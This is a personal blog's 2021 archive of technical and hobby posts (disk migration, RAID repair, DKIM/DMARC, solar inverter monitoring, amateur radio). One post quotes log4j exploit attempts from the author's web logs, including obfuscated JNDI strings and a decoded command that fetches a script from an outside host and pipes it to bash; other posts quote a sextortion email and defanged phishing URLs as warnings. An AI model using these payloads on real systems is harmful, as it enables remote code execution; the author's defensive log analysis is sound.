News archive 2021 - Koos van den Hout

After fixing the server hardware I had some time due to the Christmas holidays to look at my laptop, a Dell. It's getting a bit aged (originally from January 2016) and especially the disk is getting slow. Due to the upgrade of SSD storage in the homeserver I still have two 240 gigabyte solid state drives. So I tried to migrate the laptop to one of those solid state drives. Which was interesting in a number of ways: there are two operating systems to migrate: Linux and Windows 10 and the harddisk is 500 gigabyte, so 240 gigabyte would need an amount of cleanup before all could be moved.

I thought the harddisk was 320 gigabyte, so the downgrade from 500 to 240 gigabyte was worse than I expected.

I did some reading on migrating Windows 10 to an SSD and found out I needed a cloning tool. Navigating between subscriptions and expensive versions I found Macrium Reflect which according to How to Copy Your Windows Installation to an SSD - PCMag should be able to do this.

I have an external USB to IDE/SATA interface which is great for this kind of work. So the SSD started in that slot.

First windows didn't want to delete the EFI partition from the GPT partition table. Since the original disk has an msdos partition table and the laptop doesn't have UEFI firmware I booted linux and created partitions as I wanted them with the right type.

After that I created the Linux swapspace and filesystem and copied all Linux data to the filesystem.

After that the Macrium Reflect tool would not copy Windows 10 partitions to existing partitions so I had to delete the two Windows 10 partitions. I have no idea why, but this laptop has a Dell partition, a windows partition named RECOVERY and a windows partition named OS. Deleting the two windows partitions on the target disk also made the linux swap and root filesystem disappear without any questions whether that was a good idea.

After that it was several hours to copy the windows filesystems. After that was done I used the windows disk and partition manager to resize the big partition to leave space for the linux installation.

I booted Linux again, created the swap partitions and root filesystem again and copied the data again. At least rsync with the right options is faster than Macrium Reflect.

After that I tried to install grub on the new disk with the right options and did the first test boot of the new disk. Open laptop underside, take out disk carrier, swap disk, put the disk carrier back in and close the laptop again.

No dice: grub stopped really early. I did more searching and found I needed to use grub-install /dev/sdb --skip-fs-probe --boot-directory=/mnt/newinstall/boot so time to remove the new drive again, revert to the old, rerun grub with those options, remove old drive, insert new drive and try again. This time the menu showed that I wanted but I got an error about accessing the disk by uuid.

After that I also tried windows on the SSD but that gave an error it needed the Windows recovery boot.

So again back to the old disk and looking at options for creating a recovery boot USB stick. The 'Create recovery disk' program was busy with disk i/o for about 15 minutes and reported the USB stick for recovery has to be at least 16 Gigabytes which I didn't have available.

At this point I gave up. This process took most of the afternoon and it started to feel frustrating.

After seeing read errors on one disk in the raid-1 of the homeserver I ordered a replacement SSD of a different brand and exactly the same size. It arrived today, and I did the work to replace the suspect disk.

First set the old disk as failed and removed from the array. And note the complete serial number on a piece of paper to make sure I removed the faulty disk.

After that the server was shut down, disconnected from a lot of cables, dragged from the homerack in the attic and I worked on it. It took a while to open the side with the SSDs (below the mainboard) and with two exactly the same SSDs it was a 50% chance which one to remove. After removing the disk tray and unscrewing the SSD from the disk tray I was able to read the physical label on the underside and I guessed right.

After that the new disk was installed, the case closed again and dragged back to its place and cables connected again. After boot it came all up fine.

After bootup I partitioned the new disk, added it to the raid-1 again and set up the EFI and Linux boot partitions on the disk.

Last step was to setup the boot menu with efibootmgr to set both disks as bootable.

I noticed syslog messages I don't like:

[17200683.290921] md: data-check of RAID array md127
[17200683.291277] md: minimum _guaranteed_  speed: 1000 KB/sec/disk.
[17200683.291619] md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for data-check.
[17200683.291935] md: using 128k window, over a total of 937253184k.
[17201245.784689] ata2.00: exception Emask 0x0 SAct 0x1fe00000 SErr 0x0 action 0x0
[17201245.785175] ata2.00: irq_stat 0x40000008
[17201245.785465] ata2.00: failed command: READ FPDMA QUEUED
[17201245.785766] ata2.00: cmd 60/80:a8:00:52:51/00:00:0c:00:00/40 tag 21 ncq dma 65536 in
                           res 41/40:20:60:52:51/00:00:0c:00:00/00 Emask 0x409 (media error) <F>
[17201245.786402] ata2.00: status: { DRDY ERR }
[17201245.786737] ata2.00: error: { UNC }
[17201245.787281] ata2.00: configured for UDMA/133
[17201245.787619] sd 1:0:0:0: [sdb] tag#21 FAILED Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE
[17201245.787966] sd 1:0:0:0: [sdb] tag#21 Sense Key : Medium Error [current] 
[17201245.788317] sd 1:0:0:0: [sdb] tag#21 Add. Sense: Unrecovered read error - auto reallocate failed
[17201245.788689] sd 1:0:0:0: [sdb] tag#21 CDB: Read(10) 28 00 0c 51 52 00 00 00 80 00
[17201245.789123] blk_update_request: I/O error, dev sdb, sector 206656096
[17201245.789530] ata2: EH complete

And a number of other errors on sdb. Time to replace it! I ordered a new ssd. This time a different brand. Current configuration is with 2 Kingston drives with very close serial numbers, so maybe the other drive will give similar issues soon.

The check of the raid1 mirror was also showing differences. I'm waiting for the replacement ssd to show up, and at that moment I will remove the suspect ssd from the array and replace it.

Update 2021-12-24: Writing about the order helped speed things up: I just received notification the replacement ssd is being sent. Which will not show up until after Christmas. I also noticed the problematic Kingston still has warranty, so maybe I can get a replacement for that one too. They came in about 1.5 years ago when I upgraded the storage on the homeserver.

Op 24 december stopt de mogelijkheid om een abonnement bij xs4all af te nemen volgens XS4ALL definitief weg, actiecomite heft zichzelf op, nieuwe provider freedom.nl blijft - xs4allmoetblijven.nl en na de jaarwisseling zal voortvarend de omzetting van xs4all aansluitingen naar het KPN netwerk gebeuren.

Zoals in het artikel aangehaald zijn links en rechts meerdere onderdelen die achteruit gaan in dienstverlening. Zowel op technisch vlak als op het gebied van opties in dienstverlening. Maar KPN blijft net doen alsof er 'niets' veranderd met hooguit wat uitzonderingen. Bij goed kijken gaat het meer om een hele waslijst van dingen die xs4all juist bijzonder maakten.

Ik ben op 4 augustus 2021 overgestapt naar freedom en dat werkt prima. Het zou mooi zijn als er ooit glasvezel aangelegd zou worden waarop ik voor freedom als provider kan kiezen, maar tot die tijd is er met de xDSL techniek redelijk te leven.

Today I added a special 'country' in my list of countries I have had contacts with. I had a contact with Mount Athos which is an autonomous area in Greece with special rules. The wikipedia entries on Mount Athos and Monastic Republic of Mount Athos have all the details so I won't repeat them here.

The story goes that Mount Athos has no phone lines and therefore it seemed a good idea to give the monks that live at one of the monasteries on Mount Athos access to amateur radio so they can contact the outside world in an emergency.

As autonomous area with some rules different from Greek law it is seen as a separate entity for ARRL DXCC so 'everybody' chases for a contact with Mount Athos.

The monks do make it somewhat easy to get the contact, the radio station was running in FT8 fox/hound mode today. The next bit is getting it confirmed, and they really like a donation to the monasteries to get the confirmation.

I checked the logs for some more actual attacks and found one to analyze.

Digging out the java class and decompiling it made it clear what it does in a windows environment: enumerate the number of computers seen in active directory in the last 100 days. And post the result to the server it came from. In Russia.

A large part of last weekend was filled with the log4j vulnerability at work. Now I have some more time to look at the effect this has had on my home server I'm seeing a patter of lots of 'friendly' scanners with a few actual attack attempts in between.

Some special ones from the logs:

Trying all the fields (URL, referrer and user-agent), probably a 'friendly' scanner:

45.83.66.84 - - [13/Dec/2021:04:53:21 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 969 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"

Trying to circumvent web application firewalls that have been set up with simple rules against the log4j vulnerability. I'm not sure whether this is a 'friendly' scanner or an actual attempt at abuse.

138.197.216.230 - - [13/Dec/2021:11:39:59 +0100] "GET / HTTP/1.1" 200 2211 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"

Trying to load a "Legitimate" java class.

167.172.44.255 - - [13/Dec/2021:17:26:02 +0100] "GET / HTTP/1.0" 503 652 borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass} - -> /

But related to an IPv4 address that is becoming famous, I find this gem:

45.155.205.233 - - [12/Dec/2021:06:38:34 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 2211 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}"

And decoding the obvious base64 gives:

echo -e KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA== | base64 -d ; echo
(curl -s 45.155.205.233:5874/45.83.232.134:443||wget -q -O- 45.155.205.233:5874/45.83.232.134:443)|bash

But I haven't been able to fetch anything from 45.155.205.233:5874 yet and I'm getting really curious what it is/was. The other IP address is the external address of the server, so I guess it's a way to make curl/wget not return an error code.

Again amateur radio is good for learning geography: two new countries in the log where I really had to look up where they are!

This time in the Carribean: the Domican Republic and Belize right after another. In FT8 mode, on the 20 meter band. Usually the Americas are hard for me which is logical with my home antenna. The house is between the antenna and the north-east direction.

The Dominican Republic is already digitally confirmed. I'm waiting for confirmation of the contact with Belize. I also checked some other unconfirmed countries and send out a kind e-mail in the hopes of getting another country confirmed. The chase continues ;)

Met zo'n onderwerpregel voor een e-mail bericht weet ik al zeker dat het een fraude poging is, maar het bleek dit keer een van de beruchte bitcoin afpersingspogingen te zijn. De tekst is weer behoorlijk goed nederlands:

Hallo! Helaas heb ik slecht nieuws voor je. Enkele maanden geleden heb ik toegang gekregen tot de apparaten waarmee je op het internet surft. Vervolgens heb ik je internetactiviteiten nagetrokken. Hieronder volgt een overzicht van de gebeurtenissen die hiertoe hebben geleid: Eerst heb ik van hackers toegang gekocht tot talrijke e-mail accounts (tegenwoordig is dat een heel simpele klus die gewoon online kan worden gedaan). Zonder enige moeite heb ik vervolgens kunnen inloggen op jouw e-mail account (xxxx @ yyyyyyy). Een week later heb ik het voor elkaar gekregen een Trojaans virus te installeren op besturingssystemen van al je apparaten die voor e-mail toegang gebruikt worden. Eigenlijk was dat heel eenvoudig (want je klikte op de links in je inbox emails).

En zo nog een heleboel tekst verder, maar het belangrijke deel:

Schrijf 1750€ naar mijn rekening (bitcoin equivalent op basis van de wisselkoers tijdens je overschrijving) over

Hieronder staat mijn Bitcoin wallet: 1HvuQda3pzxyCnTJVpb1TpADMF2s3GB6g6 Je krijgt precies 48 uur de tijd nadat je deze e-mail geopend hebt (2 dagen om precies te zijn).

Bitcoin wallet 1HvuQda3pzxyCnTJVpb1TpADMF2s3GB6g6 was al bekend bij bitcoinabuse en heeft zo te zien helaas al een bedrag ontvangen van bijna 4 keer 1750 euro.

Trap hier niet in, het is echt complete onzin wat er beweerd wordt en alleen maar een manier om geld afhandig te maken. Lees ook: Ik word per mail gechanteerd - Fraudehelpdesk.nl

Last weekend was the CQ Worldwide DX contest CW and I participated on Saturday and Sunday. Again a 48-hour contest so lots of chances to participate between other things in the weekend and getting a good sleep.

I was planning to get more contacts in the log but it was a busy weekend and I was tired. But in the end I made 98 contacts which is not too bad for a morse contest. Bands I used were 20 and 40. An overview:

Band   160   80   40   20   15   10
QSO's    0    0   62   36    0    0
Cty      0    0   26   12    0    0
Zone     0    0    9    6    0    0
Pts: 132  Mul: 53 Score: 6996

For as far as I can tell this has given me a few countries in CW I didn't have before: Corsica, Estonia, Kazakhstan, Moldova, North Macedonia, and two new US states: Delaware and Arkansas.

For work I use a supplied laptop with Windows 10. For some of my work I want to have a Linux environment available so I have VirtualBox with a Linux virtual machine running. And because some of the work I do on that Linux virtual machine I use full-disk encryption. And the installation was done with the encrypted lvm setting.

Resizing the filesystem because it was getting full turned out to be a lot of steps! After stopping the virtual machine I wanted to resize the disk from the VirtualBox media manager but that gave an error. After that I tried the commandline, giving about the same error:

> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifymedium rotterdam.vdi --resize 32768
0%...
Progress state: VBOX_E_NOT_SUPPORTED
VBoxManage.exe: error: Failed to resize medium
VBoxManage.exe: error: Resizing to new size 34359738368 is not yet supported for medium 'C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam.vdi'
VBoxManage.exe: error: Details: code VBOX_E_NOT_SUPPORTED (0x80bb0009), component MediumWrap, interface IMedium
VBoxManage.exe: error: Context: "enum RTEXITCODE __cdecl handleModifyMedium(struct HandlerArg *)" at line 816 of file VBoxManageDisk.cpp

It turns out the .vdi is the wrong type for dynamic resizing. Solution: clone it! The new .vdi will have the dynamic type automatically and there is a "before" .vdi now on disk to revert to if anything goes wrong.

> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" showhdinfo rotterdam.vdi
UUID:           f832b0b4-8738-491d-bd9c-291d755a4af7
Parent UUID:    base
State:          created
Type:           normal (base)
Location:       C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam.vdi
Storage format: VDI
Format variant: fixed default
Capacity:       26067 MBytes
Size on disk:   26070 MBytes
Encryption:     disabled
Property:       AllocationBlockSize=1048576
In use by VMs:  rotterdam (UUID: 2454dadb-a82d-4d74-bbea-8dcf2b2d1bf1)
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" clonehd rotterdam.vdi rotterdam-2.vdi
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone medium created in format 'VDI'. UUID: 835e2f75-c19d-4e98-865e-d7acf1359fc7
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" showhdinfo rotterdam-2.vdi
UUID:           835e2f75-c19d-4e98-865e-d7acf1359fc7
Parent UUID:    base
State:          created
Type:           normal (base)
Location:       C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam-2.vdi
Storage format: VDI
Format variant: dynamic default
Capacity:       26067 MBytes
Size on disk:   26069 MBytes
Encryption:     disabled
Property:       AllocationBlockSize=1048576
> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifymedium rotterdam-2.vdi --resize 32768
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%

I moved the old .vdi out of the way and added the new .vdi to the virtual machine and started it again. This worked fine, but the root volume wasn't any bigger (yet). Next steps: enlarge the extended partition and the Linux partition in it on disk using parted. You really have to know what you are doing here, so I'm not just going to give a cut-and-paste sample.

Now I can resize the encrypted and mounted volume! With the right passphrase.

# cryptsetup resize /dev/mapper/sda5_crypt

And grow the 'physical' (ahem) volume:

# pvresize /dev/mapper/sda5_crypt

Resize the logical volume:

# lvextend /dev/rotterdam-vg/root -l +1674

And finally resize the mounted filesystem:

# resize2fs /dev/mapper/rotterdam--vg-root

And the filesystem has grown, and looks good in a fsck on the next boot.

So solid state disk → Windows filesystem → vdi file → VirtualBox → disk in Linux virtual machine → partition → lukscrypt → logical volume manager → volume → filesystem.

This morning I had DMARC reports in my mail from xs4all. With all the testing of DMARC, DKIM and SPF I did yesterday I was confused for a while what caused this since my domain names shouldn't be linked to xs4all anymore in any way.

First I thought one of the DMARC testing autoresponders I tried was linked to xs4all or maybe somehow my domains still show some link to xs4all, but after a while it dawned on me that all the testing of DKIM was done via a forward that is still active on my now closed xs4all account.

My DMARC record currently says I want reports of problems, so I am getting those. Anyway, I guess it's all working and I'm seeing no new problems.

Oh and outlook[.]com is still rejecting my e-mail so no progress there. But then again Microsoft and not handling Internet e-mail standards correctly was something I ranted about before: 17 and a half years ago. Not a lot of improvement.

In debugging mail from the shell server I noticed something in the headers:

Authentication-Results: xs4all.nl; spf=none smtp.mailfrom=gosper.idefix.net;
        dkim=pass header.d=idefix.net; dmarc=pass header.from=idefix.net

The shell server sees itself as gosper.idefix.net and uses this on locally generated outgoing mail. I only had an SPF record for idefix.net so setting one up for gosper.idefix.net too can help fix things. I also need a DMARC policy allowing mail from subdomains of idefix.net, with more specific DMARC policies for active subdomains.

After getting DKIM signing running with sendmail and opendkim I generated DKIM keys for idefix.net, configured them in the mailserver with opendkim and published them in DNS. The next thing to publish is a policy record showing that all outgoing mail for these domains should be signed.

I started with a policy that shows mail should be signed but to not reject it when it isn't, but report it to me as unsigned.

;; QUESTION SECTION:
;_dmarc.camp-wireless.com.      IN      TXT

;; ANSWER SECTION:
_dmarc.camp-wireless.com. 86400 IN      TXT     "v=DMARC1;p=none;sp=reject;pct=100;rua=mailto:dmarcreports at camp-wireless.com;"

With a similar policy for idefix.net. Mail with problems shouldn't be rejected yet: DNS propagation isn't instantaneous and testing first.

My recent issues with getting my e-mail delivered made me look at DKIM signing of outgoing e-mail messages. To not break things I have started testing this with outgoing e-mail from camp-wireless.com which normally publishes it doesn't send mail at all, so the first steps were to change that policy: changing the MX record and SPF record.

I started reading into configuring sendmail with dkim and found OpenDKIM which can work as a sendmail milter.

Based on How to configure DKIM & SPF & DMARC on Sendmail for multiple domains on CentOS 7 I took the same steps for my Devuan installation.

In Devuan (and probably Debian/Ubuntu) there is a opendkim package for the service and a opendkim-tools package for the associated tools. I needed the second one to get the opendkim-genkey command. I can imagine keys being generated/managed on a different system than the actual signing server.

After configuring this for camp-wireless.com including generating a keypair and publishing the public key via DNS I started sending test messages but had no luck. It turned out the sending host has to be in the InternalHosts table of opendkim. I added the address ranges and after that things started to work.

After fixing that I got the results I wanted:

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=camp-wireless.com;
        s=gosper; t=1637408594;
        bh=YewDlohOT9RvALNQw4cVukwSpmAm5tXtGWJxLDUJZa4=;
        h=To:From:Subject:Date:From;
        b=GGMEeCY5xmgFDBQ5NzgZfAVvyr+ctBKOTGpwMqq1W/tgJYMY8WyzaM5XfEiWijGKr
        abBN5WLbiyoXsd62lNVxcDOBUYWzkOnwZCw5WgdlzZJSIxgRdnWMQLxL1E9BJdudwR
        zriX1/vAaR34RFM1kiSVp0dqa98/Kxfdp2DPPRDsAVJ6sdxqz1YHD4odveDcLEQQZv
        jUMNPVmQps90mZORtdKtOOWQP0RYkZvmjNsJZuwIrRkFvUzOmAVT6MDDf4kZ35lbes
        oAp0me8tQgoffNLRQpO7akSKhbh1Kn5fAv50WILhM0rK/ChkWqvOrcfgIwbSSPduzM
        DI1w23jCnwaKQ==

And a verification:

Authentication-Results: xs4all.nl; spf=pass smtp.mailfrom=camp-wireless.com;
dkim=pass header.d=camp-wireless.com

I was wondering about roaming users who authenticate to my mailserver and send messages that way. In a first test those messages get signed too. That means I can start signing mail from idefix.net and other production domain names!

I was working on a new site for a project and requested a certificate for it. The time between the certificate being generated and the first attack was 3 minutes and 7 seconds.

15:12:10 UTC: certificate generated and published on the certificate transparancy log

15:15:17 UTC:
185.67.34.1 - - [19/Nov/2021:16:15:17 +0100] "GET /restapi.php HTTP/1.1" 404 1008 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"
15:15:18 UTC:
185.67.34.1 - - [19/Nov/2021:16:15:18 +0100] "POST /gate.php HTTP/1.1" 404 1008 "-" "Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J700F Build/MMB29K)"

Someone mailed me a few days ago with an interesting question. So I typed a reasonably long answer. But upon sending this answer I received the following error message:

   ----- The following addresses had permanent fatal errors -----
<????????@outlook.com>
    (reason: 550 5.7.1 Unfortunately, messages from [45.83.232.134] weren't sent. Please contact your Internet se...ail.live.com/mail/troubleshooting.aspx#errors. [HE1EUR04FT003.eop-eur04.prod.protection.outlook.com])

   ----- Transcript of session follows -----
... while talking to outlook-com.olc.protection.outlook.com.:
>>> MAIL From:<?????? .at. idefix.net> SIZE=4837 BODY=8BITMIME
<<< 550 5.7.1 Unfortunately, messages from [45.83.232.134] weren't sent. Please contact your Internet service provider since part of their network is on our block list (S3150). You can also refer your provider to http://mail.live.com/mail/troubleshooting.aspx#errors. [HE1EUR04FT003.eop-eur04.prod.protection.outlook.com]
554 5.0.0 Service unavailable

Trying to get my IPv4 address allowed didn't work. The form for getting IP addresses whitelisted did not allow for IPv6 addresses, but then again outlook.com has no IPv6 addresses listed for its MX record. I would think microsoft would do something with IPv6 to support innovations in Internet but I guess they only do that to win contracts.

After a while I got a response with a ticket number and an hour later a response that looked like maybe a person had taken a look at it, with "Our investigation has determined that the above IP(s) do not qualify for mitigation." So that leaves me with possible mails from outlook[.]com that I can't answer, making me look bad because I don't seem to reply at all.

I'm convinced the mail setup is correct on my end. The domain idefix.net has an SPF record and the mail was sent out via the approved route.

The only solution I can think of at the moment is blocking mail from outlook.com at the protocol level with an error message pointing at a webpage what the problem is, so when someone sends an e-mail from outlook[.]com to one of my domains they will get an error message with an embedded hint what they should do, namely We cannot reply to your mail, please send us mail from a different domain, see https://idefix.net/mailreject.html for an explanation. About the same as microsoft does, although the careful reader might have noticed the error code S3150 is not mentioned at http://mail.live.com/mail/troubleshooting.aspx#errors.

Na een poosje blijkt ook het getal 65534 (0xFFFE) in sunspec modbus antwoorden een vorm van 'geen geldige uitlezing' te kunnen zijn. Ik heb de scripts die de gegevens ophalen en verwerken richting influxdb hier op aangepast.

Na ongeveer 36 uur was de omvormer waarvan ik de netwerkaansluiting had omgezet nog steeds niet aan het communiceren met solaredge. In het netwerkverkeer zag ik wel wat tcp communicatie, maar die leek geen data te bevatten (allemaal packets met 0 bytes data).

Ik zat nog even te zoeken in een handleiding over de SolarEdge communicatie met de monitoring dienst en kwam toen tegen dat expliciet ingesteld moet worden langs welke route de communicatie voor monitoring loopt. En die had ik nog niet expliciet ingesteld op LAN. Nadat ik dat gedaan had stond er gelijk weer een S_OK op het display en ging er ineens wel data stromen en zie ik dingen bijgewerkt worden bij de solaredge monitoring dashboard.

Het lokaal uitlezen van de SolarEdge omvormers via Modbus/TCP ging op den duur toch weer haperen, zeker over wifi.

Ik begreep uit wat beschrijvingen dat het bijwerken van de firmware in de omvormer hierbij zou moeten helpen dus dat heb ik vandaag gedaan. Ik had eerder naar een van de omvormers ook een netwerkkabel gelegd maar nog niet de omvormer open gemaakt om die van binnen aan te sluiten. Nu moest de omvormer ook open om de firmware bij te werken dus heb ik gelijk het ontbrekende stukje UTP kabel gemaakt en aangesloten, en de wifi module verwijderd.

De SolarEdge handleiding voor het bijwerken van omvormer firmware had na alle stappen om de omvormer veilig open te maken een aantal stappen voor het kiezen van een upgrade maar de omvormer 'zag' gelijk bij het inschakelen dat er een kaartje met firmware in zat en startte vanzelf de upgrade.

Op beide omvormers is de upgrade gelukt. De omvormer waar ik ook de netwerkaansluiting omgezet heb van wifi naar bedraad wil momenteel geen gegevens doorgeven naar SolarEdge monitoring (ik zie wel verkeer naar buiten gaan) en er staat ook geen S_OK op het display. Ik denk dat dat komt door de wijziging netwerkaansluiting. Volgens wat bronnen kan dat even duren, maximaal 2 dagen.

Ondertussen kan ik nu via Modbus/TCP de nodige gegevens goed uitlezen, en ik heb wat veranderingen aan het monitoring script gemaakt zodat er ook data van de afzonderlijke omvormers naar een influxdb database gaat.

Gisterenavond de andere omvormer ingesteld voor Modbus TCP. Ook hier hetzelfde effect, de omvormer reageert eerst niet. Het lijkt dat er een dag/nacht overgang of een aantal uren wachten nodig is voor deze instelling overgenomen is.

Nu met zonlicht:

$ ./sunspec-status -v se-boven -m 0
INVERTER:
             Model: SolarEdge  SE2200
  Firmware version: 3.2434
     Serial Number: xxxxxxxx

            Status: ON (MPPT)

 Power Output (AC):          129 W
  Power Input (DC):          130 W
        Efficiency:        98.51 %
  Total Production:     2952.829 kWh
      Voltage (AC):       238.90 V (49.99 Hz)
      Current (AC):         0.78 A
      Voltage (DC):       380.10 V
      Current (DC):         0.34 A
       Temperature:        30.16 C (heatsink)

Als de omvormer iets meer actief wordt komt er inderdaad een meting uit het DC voltage. In de verwerking moet ik dus echt een uitzondering maken voor 'geen data' bij uitlezing 65535.

Onze zonnepanelen met SolarEdge omvormers liggen er al een tijd en na wat nadenken over monitoring heb ik toen toch voor de optie gekozen om de gegevens gewoon aan de solaredge API te vragen en wat te verwerken in rrdtool voor mooie grafiekjes en in een postgresql database voor langdurig bewaren.

Maar de laatste weken krijg ik vrij regelmatig foutcode 429 van de SolarEdge API dat ik teveel queries zou doen. Ik kan niet terugvinden waar dat vandaan komt. Ook na het vervangen van de API key (zodat eventuele andere scripts die ik heb laten slingeren met mijn api key stoppen) blijven deze status 429 resultaten komen:

HTTP Status 429 – Too Many Requests
Message Concurent limit quota exceeded
Description The user has sent too many requests in a given amount of time ("rate limiting").

Tijd om naar de opties te kijken om de omvormers uit te lezen via Modbus over TCP. De code is er: tjko/sunspec-monitor: Monitoring Sunspec (Modbus TCP) compatible Solar Inverters - GitHub maar nu de omvormers zo ver krijgen dat dit werkt.

Update: Handleiding gevonden hoe ik Modbus TCP inschakel op de SolarEdge omvormer. Voorlopig lijk ik er tegenaan te lopen dat de Modbus TCP setting dit maar 2 minuten open stelt en daarna weer afsluit. Terwijl ik dit eigenlijk eens per 5 of 10 minuten wil opvragen. Met een firmware upgrade schijnt dit te verhelpen te zijn.

Update: Een paar uur later snapt de omvormers wel Modbus TCP op poort 502. Vreemd, het lijkt wel alsof het een tijdje duurt voordat de configuratie actief wordt. Hoe dan ook, succes:

$ ./sunspec-status -m 0 -v se-schuur
INVERTER:
             Model: SolarEdge  SE2200
  Firmware version: 3.2434
     Serial Number: xxxxxxxx

            Status: SLEEPING

 Power Output (AC):            0 W
  Power Input (DC):            0 W
        Efficiency:         0.00 %
  Total Production:     3514.256 kWh
      Voltage (AC):       239.30 V (49.99 Hz)
      Current (AC):         0.00 A
      Voltage (DC):      6553.50 V
      Current (DC):         0.00 A
       Temperature:        17.79 C (heatsink)

De 6553.5 volt DC lijkt nog een vreemd iets (uitlezing 65535 keer vermenigvuldigingsfactor -1), ik moet morgen als de omvormer wakker is dit nog eens controleren. Omdat er een aantal andere variabelen ook 65535 zijn lijkt het een geval 'niet actief' of iets dergelijks. Nalezen van de sunspec modbus specificatie geeft bevestiging: waarde 0xFFFF (65535) is voor 'not implemented'.

Ik zie mooie grafiekjes zonnestroom aankomen als ik deze data in influxdb stop en er grafana op loslaat.

Last weekend was the CQ Worldwide DX Contest SSB and I participated Saturday and Sunday. This is a 48-hour contest so I had multiple chances for making radio contacts between other things to do in the weekend.

I was planning to participate in this contest with the idea of getting some new countries in the log, but propagation decided to not cooperate very well. Looking back at the log I see a number of 'well-known' stations: other amateur radio stations that I see active in other contests.

In the end I made 81 contacts on the 20, 15 and 10 meter bands. Overview:

Band   160   80   40   20   15   10
QSO's    0    0    0   75    2    4
Cty      0    0    0   27    2    3
Zone     0    0    0    5    2    2
Pts: 96  Mul: 41 Score: 3936

Things are going well with amateur radio: today I managed to make contacts with Australia and Indonesia on the 10 meter band in FT8 mode. That was a nice opening to the east, probably with some greyline on their side. It was morning here, so after the greyline for me.

And later when 10 meter was silent I tried the 20 meter band, where a station from New Caledonia answered my call. I realized later that was a new country/entity for me, by that time the contact was already confirmed!

Update 2021-10-25: Actually looking at maps made me realize New Caledonia is quite far away: the distance was about 16330 kilometers! I will need to tweak the generated maps on pe4kh.idefix.net a bit to actually show the worked gridsquares in New Zealand and New Caledonia.

Noticed this in the logs:

Sep 30 14:02:04 wozniak sendmail[25878]: STARTTLS=client, relay=postbode.idefix.net., version=TLSv1.3, verify=OK, cipher=TLS_AES_256_GCM_SHA384, bits=256/256
Sep 30 15:02:04 wozniak sendmail[27149]: STARTTLS=client, relay=postbode.idefix.net., version=TLSv1.3, verify=OK, cipher=TLS_AES_256_GCM_SHA384, bits=256/256
Sep 30 16:02:04 wozniak sendmail[28400]: STARTTLS=client, relay=postbode.idefix.net., version=TLSv1.3, verify=FAIL, cipher=TLS_AES_256_GCM_SHA384, bits=256/256
Sep 30 17:02:04 wozniak sendmail[29654]: STARTTLS=client, relay=postbode.idefix.net., version=TLSv1.3, verify=FAIL, cipher=TLS_AES_256_GCM_SHA384, bits=256/256

This is exactly the expiry of the DST Root CA:

koos@wozniak:/usr/share/ca-certificates/mozilla$ openssl x509 -in DST_Root_CA_X3.crt -noout -startdate -enddate
notBefore=Sep 30 21:12:19 2000 GMT
notAfter=Sep 30 14:01:15 2021 GMT

But now to find out where this goes wrong...

Uit de inbox, weer een 'WoningNet' verhaal, zie ook Spam/phishing/fraude woningnet. Bekend natuurlijk al bij FraudeHelpdesk: Laatste Herinnering - Fraudehelpdesk.

   U heeft een inschrijving bij WoningNet.
   Over 2 weken verloopt uw inschrijving.
   Uw inschrijving verlengen wij met een jaar als u de verlenginskosten
   van €8,00
   betaalt.
   U kunt betalen via iDEAL.
   Via de onderstaande link word u automatisch doorverwezen naar onze
   betaalpagina

   Als u niet binnen 2 weken betaalt, schrijven wij u uit.
   Uw opgebouwde inschrijfduur en eventuele reacties komen dan te
   vervallen.

Het pad van URLs:

• hxxps://t9y.me/Q2Su
• hxxps://rplg.co/d9b377a0
• hxxps://lucid-wu.45-88-108-231.plesk.page/woningnet
• hxxps://lucid-wu.45-88-108-231.plesk.page/woningnet/
• Kies ING → hxxps://lucid-wu.45-88-108-231.plesk.page/ing/ En dan een volle phishing kit voor Mijn ING credentials.

De methode is al bekend (berucht) bij de fraudehelpdesk. Ook even getest met lucid-wu.45-88-108-231.plesk.page - urlscan.io en gemeld bij google safe browsing.

En dan

Take a second to rejoice merrily for doing your part in making the web a safer place.

The homeserver conway has an ever growing list of network interfaces, also due to adding a DMZ network.

This was starting to look a bit messy, with things like:

